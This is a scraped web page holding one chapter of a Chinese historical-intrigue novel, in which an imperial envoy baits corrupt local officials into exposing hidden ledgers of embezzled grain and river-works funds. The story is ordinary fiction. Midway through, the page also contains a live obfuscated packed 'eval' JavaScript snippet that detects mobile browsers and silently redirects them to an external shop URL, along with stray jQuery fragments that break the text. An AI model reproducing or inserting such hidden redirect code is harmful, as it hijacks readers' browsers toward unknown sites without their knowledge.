文趣网 > 其他小说 > 山河旧盟 > 23. 第二十三章 反棋
    第二十三章反棋

    天色亮起来时,雨已经停了。

    医官剪开顾长宁右肩的衣料,清去伤口里的木屑,重新敷药包扎。铁角只擦开皮肉,没有伤到筋骨,可伤处横过肩背,稍一抬手,缠好的白布便又渗出血色。

    承珩掌侧的伤浅些,也缠了一圈细布。

    医官收起药箱,叮嘱顾长宁这两日不可提重物,更不可骑马动刀。顾长宁没有答话,只将衣袖重新拢好。

    前堂已经收拾出来。

    马荣与林崇所留的两份供词、昌泰庄号明面账册,以及周万通的缉拿文书,都摆在案上。林崇的亲笔信、东档残页和无名纸条却已收进内匣,堂上看不见半点痕迹。

    陆敬和、孙成与邵廷章被一同请来。

    三人进堂以后,陆敬和率先撩袍跪下。

    “臣治下失察,使河口分司东档被焚,累殿下与顾司马身陷险地。臣身为淮北知府,不能辞其责,请殿下降罪。”

    孙成也随之俯身。

    “臣今晨方知昨夜之事。东档起火虽不在河工衙门,顾司马却是为查白马堤旧账受伤,臣亦有失察之责。还请殿下与顾司马先以伤势为重。”

    邵廷章昨夜已经在东档外请过罪,此刻再次跪下。

    “东档属臣辖下。两把钥匙、掌钥书吏与近半月调卷之人,臣已全部留置,东档残存卷册也已逐间封存。臣听候处置。”

    “都起来。”承珩道,“伤势无碍。东档为何起火、谁该担责,查明以后再议。今日叫你们来,是为现有案卷。”

    三人起身以后,韩介将案上材料依次展开。

    承珩先问邵廷章:“弘熙十四年四月,你可已在河口分司任上?”

    “臣是当年十一月才到任。”邵廷章道,“接任时,弘熙十三年的总册早已由总漕衙门加封,涉案的四月船簿也已核销归档。臣后来只按总数抽验,没有重新开过旧档。遇到返空补票、临时转驳,也都当作沿袭已久的旧例处置。”

    他停了一下,低头道:“臣虽不知其中内情,却不能以不知卸责。”

    承珩问:“你到任以后,乙字号返空船可还出现过?”

    “有过。”

    “为何没有追查?”

    邵廷章沉默片刻。

    “出船簿上有仓印,转驳票上有经手人,到货一栏也有回执。年终报到总漕衙门的数目,与分司总簿能够相合。偶有破袋、损耗和临时换船,也都有补票。”

    “臣当时以为,至多是下头的人图省事,先放船、后补票。没有想到从出仓到回执,原本便可能是同一批人在彼此遮掩。”

    承珩没有在此刻定他的罪责,只让韩介将这番话记入问事簿。

    随后他即让韩介将推官拟出的案情草稿念与陆敬和三人。

    马荣在遗下的供词中自认,替昌泰庄号搜集旧役夫名册、转交车牌粮票,又将乙四十六号船拆下的旧料送往白马堤东三段。

    林崇所留的供词则承认,他受周万通指使,更改乙七、乙九的船簿,将北济仓三百石记作返空转驳。

    昌泰庄号的账册恰好接住了两人的供词。车脚银、船钱与粮栈转入周万通私账的银两,笔笔有数,却都止在周万通名下。

    陆敬和听完,低声道:“周万通借商号之便,买通小吏,侵吞官粮与河工银,罪证已经不少。只是此人如今潜逃,许多细节还需拿住以后再审。”

    孙成也道:“白马堤的石木向来由数家商号转购。若昌泰从中调换旧料,再买通马荣更改车牌,河工衙门确有可能被他蒙蔽。”

    承珩点头。

    “按现有供词与昌泰账册,周万通暂列首犯。马荣、林崇列作经手之人,二人死因另查。”

    他看向韩介。

    “将案卷题作‘昌泰庄号侵粮案’。缉拿周万通的文书照发。昌泰庄号明面上的账房、粮栈和车行,依原令逐一核账。在册以外的产业,暂不扩大追查。待周万通归案,再仔细审对。”

    韩介应是,提笔记下。

    承珩继续道:“府衙、河工衙门与河口分司该办的赈务、河工与漕事不能停。陆知府仍照原定数目调粮,孙同知照旧修补白马堤。邵大人先查东档失火与钥匙经手,但也不必因昨夜的火停掉全城漕船。”

    他没有追查北济仓的亏空如何在总账中消失,也没有问白马堤东三段的验收为何年年无误。昌泰庄号历年汇往京城的银钱,更没有当着三人继续查问下去。

    案卷仿佛真的在周万通那里停住了。

    陆敬和的神色没有明显变化,只在韩介将“昌泰庄号侵粮案”几个字写上卷首时,缓缓松开了一直扣在袖中的手。

    他垂下眼,应了一声:“臣遵命。”

    孙成低头整了整袖口,也没有再主动解释白马堤的旧料。他与邵廷章也相继领命。

    就在三人准备告退时,一名亲卫捧着两块杉板走进前堂。

    “殿下,昨夜抢出的总册封皮已经阴干。韩先生先前吩咐,不可强揭。属下方才换纸吸潮时,发现封皮内层还有一处未曾完全分开。”

    亲卫将杉板放在案角。两板之间夹着的正是东档抢出的焦黑封皮,边缘仍压着吸潮的素纸。

    韩介上前看了一眼,沿着亲卫所指之处轻轻拨开半寸。夹层中露出一线褪色朱墨,隔着旧纸,只能看出乙字与一个残缺的“七”。

    承珩道:“昨夜那半张残页上已有淮转乙字二十七号。若夹层里还藏着同号票尾,便可与原册互证。”

    邵廷章看向那册封皮。昨夜他亲眼见韩介从火中抱出此物,自然知道封皮尚未拆尽。

    “旧纸受潮,今日再揭,只怕会碎。”他说。

    “所以等到明日辰时。”承珩道,“由府衙、河工与河口分司共同会验。”

    他转向陆敬和。

    “请府衙把弘熙十三、十四两年北济仓的调拨旧批送来。”

    又对孙成道:“白马堤东三段当年的材料票与回验副本,也一并带来。”

    最后看向邵廷章。

    “总漕核档时留下的总票目录,由邵大人亲自封送。明日当着三衙的人,把乙字二十七号究竟从哪里发出、最后落在何处,查清楚。”

    陆敬和看了那两块杉板一眼,拱手道:“臣回去便命人清点旧批。”

    孙成道:“河工旧档杂乱,臣今夜也会亲自督查。”

    邵廷章则道:“臣会将核档目录封好,不经旁人之手。”

    三人退出前堂。

    脚步声走远以后,顾长宁才问:“夹层里当真还有一张票尾?”

    “只有那一点朱墨。”韩介道,“是字,是印,还是旧封皮沾上的颜色,现在谁也不能断定。”

    承珩道:“我们只是让陆敬和、孙成和邵廷章亲眼看见,火里抢出的封皮还没有拆完;又让他们知道,明日三衙将共同会验。”

    “马荣已死,林崇不能再开口。两份供词都把经手之事推向昌泰庄号和周万通,而周万通又恰在这个时候失踪。只要我们照这份卷宗往下办,路自然停在他身上。”

    顾长宁接道:“而你今日给案子定名‘昌泰庄号侵粮案’,没有追问可能汇入京中的账,也仍让陆敬和调粮,让孙成修堤,让邵廷章督漕运,就是告诉他们你愿意接受这条铺好的路,一切到周万通为止。”

    “可明日一旦验出乙字二十七号,沿着这条路便可能继续查下去。”

    韩介看着杉板之间那一线朱墨。

    “但我们终归没有一张总票,也没有在封皮里放入任何东西。若他们今日不动,这一着便落空了。”

    “落空也无妨。”承珩道,“可若陆敬和确实知道北济仓旧批藏着什么,孙成知道东三段回验副本缺了什么,邵廷章也牵涉其中,那他们便不能把明日交给运气。”

    “好。”顾长宁道,“三处官署、两处商号,我们都盯住。”

    承珩看了一眼他的肩。

    “你留在府衙。”

    “好。我在这里收消息。”

    于是顾长宁叫来周成和亲卫仔细吩咐。

    他走到淮北水道图前,用左手在青石埠一带点了两处。

    “前日去过青石埠的两名亲卫认得恒丰粮栈和旧泊位。周成,让他们跟你去。”

    “不靠近粮栈,只看后门、旧泊位和通往西水门的支河。”

    韩介问:“青石支河的水口呢?”

    “让带路的老船户把水道画出来,不必叫他随行。”

    顾长宁又道:“再留人看住昌泰庄号。陆敬和的宅门、孙成暂住的河工公廨和河口分司,也留两名便衣亲卫。”

    “若有人把要藏的东西带出门,不要在门口立刻拿,只记时辰和路线;看他从哪里来,又把东西送到哪里去。”

    只有让官署手令、私栈旧账和负责运走证物的人同时落在一处,这一夜的盯守才有意义。否则即便拿住一个传话的书吏,也尽可被说成是钦差误解了正常调卷。

    邵廷章回到分司以后,先遣两名书吏将东档掌钥与调卷名册封送行辕,又召集属官清点总漕核档目录。盯守的亲卫回报,除那两名奉命送册的书吏外,分司再无人外出,邵廷章本人也始终留在官署。

    陆敬和与孙成两处,也都十分安静。亲卫送回行辕的几次消息,全是“并无异动”。

    府衙仍按名册发粮,陆敬和午后还亲自去了一趟南城粥棚,当着百姓和府衙属官的面查验新到的粮。

    白马堤也照常运土下桩。孙成在白马堤上待到日落,催着役夫补齐昨日被雨水冲开的缺口。

    到了酉时,各处衙门闭门落锁,街上的行人渐渐少了。

    亥时将过,陆宅后门才出来一辆不起眼的青篷车。

    赶车的是陆宅长随,车里还坐着府衙户房的一名书吏。二人没有走通往府库的正街,而是沿小巷绕向城西。

    几乎同一时刻,孙成的河工公廨也有一名书办从侧门出来。他怀中夹着一只油布包,出了两条街便换上一匹等候在路边的马,同样往西而去。

    两路亲卫没有惊动他们,只将消息先后送回行辕。

    顾长宁在水道图上把两条路连在一起。

    “不是去昌泰庄号。”

    承珩道:“是恒丰。”

    恒丰粮栈前门已经落锁。

    青篷车绕到后巷时,粮栈里没有亮灯。陆宅长随敲了两短一长三下,后门随即开了一线。

    孙成的书办晚到半刻,也从同一扇门进去。

    周成带人伏在旧泊位两侧。去过青石埠的亲卫认出,粮栈后院有一道小门直通水边,门外停着一艘窄底货船。船篷压得很低,船头却没有挂灯。

    又过了约莫一炷香,后院终于传来木轮碾过石地的声音。

    四个人抬出一只包着油布的窄木箱,另有一人抱着几册散账。陆宅长随走在最前,孙成的书办则催船户解缆。

    周成仍没有动。

    直到木箱上船,陆宅长随也跨上跳板,他才从暗处出来。

    “钦差查案。船不许开。”

    河岸两端同时亮起火把。

    船户丢下篙便往水里跳,被埋伏在浅滩的亲卫按住。孙成的书办转身冲向粮栈后门,将怀中的油布包扔向墙边水沟。

    一名亲卫先一步扑过去,连包带泥捞了起来。

    陆宅长随没有反抗,只厉声道:“我们奉府尊之命提取旧账,明日要送钦差会验。你们凭什么拦?”

    周成看了一眼已经上船的木箱。

    “既是送去会验,为何半夜从私栈后门装船?”

    “河工旧档堆放不下,暂借恒丰库房存放。府尊命我们今夜先送到公廨。难道我们要事事禀过?”

    周成没有再与那人争辩,当着粮栈看门人及巡夜兵卒的面,逐一搜验、记下时辰。

    陆宅长随身上果然有一纸府签。

    签上写的是:调取恒丰粮栈所存乙字旧底,送河工公廨会勘。末尾盖着知府小印,还有陆敬和惯用的押字。

    字面上看不出灭证二字。可这张签发于入夜以后,既没有经过户房登记,也没有交给钦差,而是由陆宅长随带到一处从未列入官册的私栈。

    孙成书办扔进水沟的油布包里,则是一张更短的便笺:东三段回验副页、兑尾并送,不得留底。

    便笺没有官印,末尾的私押却与孙成签在白马堤验收册上的押记相同。

    周成命人将两张手令分别封存,又把木箱原样抬回粮栈内堂。箱锁由在场三方共同验看,钥匙却不在任何一人身上。</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17762004|209610||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    他没有强撬,只以钦差封条封住箱口,连同被拿住的人,一并从水路送往城南巡检旧署。

    消息传回行辕时,已过子时。

    承珩没有立即传陆敬和与孙成,也没有把人押回。

    “先隔开问话。”他说,“只问今夜是谁传令、箱子从哪里取出、原本要送到哪里。供词各自封存,不许互见。”

    寅时,韩介带着推官、两名钦差行辕书记和一名锁匠赶到巡检旧署。

    木箱封条完整。

    验过封、记过锁孔以后,锁匠才当众启箱。

    箱中没有一本能够写尽全案的总账。

    最上面是恒丰粮栈三年的进出簿,下面压着一册没有封面的内账。另有两只油纸包,分别装着河工回验副页和十余张京城兑票。

    韩介没有先翻账。

    书记依照箱中原有的位置,从上到下逐件编号。木箱内壁的灰尘、油纸捆扎的绳结、每本账册的朝向,也都先记入验看簿。直到锁匠、推官和两名书记分别具名,他才以薄布覆住双手,将第一册进出簿取出。

    他翻开进出簿。

    弘熙十四年四月二十四日,簿上记着乙七、乙九在旧泊位卸入“三百”。货名一栏没有写粮,只写了一个“常”字。当天夜里,同数货物又分作七车,从恒丰后门运出。

    内账中相同日期的一笔,则写得更清楚:北济仓三百石,乙七、乙九,转恒丰;扣船脚、栈租后,余银归昌泰。

    再往前翻,“北济”“返空”“青石”并非只出现一次。每笔之后都有兑票编号,却仍没有写最终收银人的身份。

    韩介又取出东档残页的验看抄本,隔着一张素纸放在旁边。

    残页上的日期、船号、数目和“青”字,与进出簿、内账中的同日记录能够相合;三份东西的来处却各不相同。一份出自总漕封识下的旧册,一份是恒丰粮栈按日登记的明面进出簿,另一份则是没有封面的内账。

    “先记页码,不作结论。”韩介道,“进出簿与内账分开封。纸墨、装订和掌柜笔迹都要另验。”

    一本私账可以伪造。只有它与北济仓簿、船票、车行旧账以及银票兑付时日逐一相合,才能成为证据。

    第一只油纸包里的河工回验副页,记的是白马堤东三段。

    地方报验数目与此前查到的总册一致:役夫八百三十七人,开工四十二日,领口粮八百石,新购木料若干。副页末尾除了孙成的签押,还有一道工部回验关防和一个完整的发回字号。

    夹在副页之后的材料兑尾,却列着乙四十六号旧船板、恒丰转料与昌泰代收三项。

    它不能证明盖下回验关防的人已经知道工程作假,却足以让京中从那个发回字号,找到当初核准白马堤验收的原卷。

    第二只油纸包里的兑票,分别出自淮北与京城两地。

    淮北一端的票号、日期和银数,能与内账一一对上;京城收票一栏写着的名字,韩介此前查赵侍郎时见过。

    “是赵侍郎的女婿。”他说,“也是楚王府属官。”

    最后三张兑票背面,还各有同一个户部核销批号。

    韩介让人取来此前从府衙户房抄出的核销副页。副页上只记批号与核销数目,没有收票人。两相比对,批号、日期和银数却一项不差。

    那个批号,与林崇亲笔信中写下的“淮转乙字二十七号”并不相同,却在内账里并列记在同一笔银钱之后。

    一边是地方转运票,一边是京中核销批。

    直到此刻,两条原本分开的线才第一次有了可以共同查验的落点。

    天将破晓时,所有物件已经分别封入六只案匣。

    陆敬和的府签、孙成的便笺,不能单凭私押便定罪;恒丰内账也不能脱离其他账册独立采信。京城兑票证明有人收过银,却还不能证明银最终到了谁手中。

    可它们已经给出了足够准确的原卷位置。

    北济仓调拨旧批。

    白马堤回验原卷。

    户部核销批案。

    京城票号的兑付底簿。

    这些东西只要有一处先被惊动,其他地方便可能同时销毁。

    承珩亲自写下封存清单。供外衙传看的明卷仍按“昌泰庄号侵粮案”登记,只收录原有供词与昌泰明账;今夜所得一概不入明卷,分别装进六只案匣,暂存钦差亲卫看守的内库。

    韩介另将每件证物的验看笔录抄作两份,与原件交叉分装。两路送京的人选、出城时辰与替换马匹之处,则分别写在两张纸上。两队亲卫所持文书互不相同,途中也不在同一驿站落脚。真正写给皇帝的密奏已经封好,只待城门一开,随其中一路启程。

    顾长宁坐在案侧,看着承珩在密奏末尾写下请求同时封存的四处原档。

    “陆敬和与孙成今早便会发现,人没有回来。”

    “所以留给京城的时间不多。”承珩道。

    “那两个人呢?”

    “暂时不动。”

    一旦此刻拿办陆敬和与孙成,消息便会沿官驿先于密奏进京。承珩要的不是让两名地方官提前认罪,而是让京城那些尚未知道恒丰木箱已经落入钦差手中的人,来不及把对应原卷从账库里抽走。

    顾长宁道:“他们若察觉属下失踪,连夜出城呢?”

    “四门与渡口都有人看着。他们若走,立即拿下。”承珩道,“他们若不走,今日辰时的会验照旧,请他们亲自到场。”

    顾长宁明白了。

    只要陆敬和与孙成仍以为木箱尚在途中,或以为几个属下只是被巡夜兵卒耽搁,他们便必须像今日一样,继续扮演两个被周万通蒙蔽的失察官员。今日辰时那场未必能验出完整总票的会验,恰好能把他们留在承珩眼前。

    窗外晨鼓响起。

    案上仍摆着昨日题定的“昌泰庄号侵粮案”。在所有供外衙传看的文书里,周万通依旧是首犯,案情也依旧止在一名携银潜逃的商人身上。

    对方曾用两份供词,替钦差写好了这桩案子该在哪里结束。

    承珩没有撕掉那份结论。

    他只是把它留在案上,让他们相信棋局已经照着原定的路走下去;再用火中剩下的一点朱墨,逼他们亲手把真正不能见光的旧账送了出来。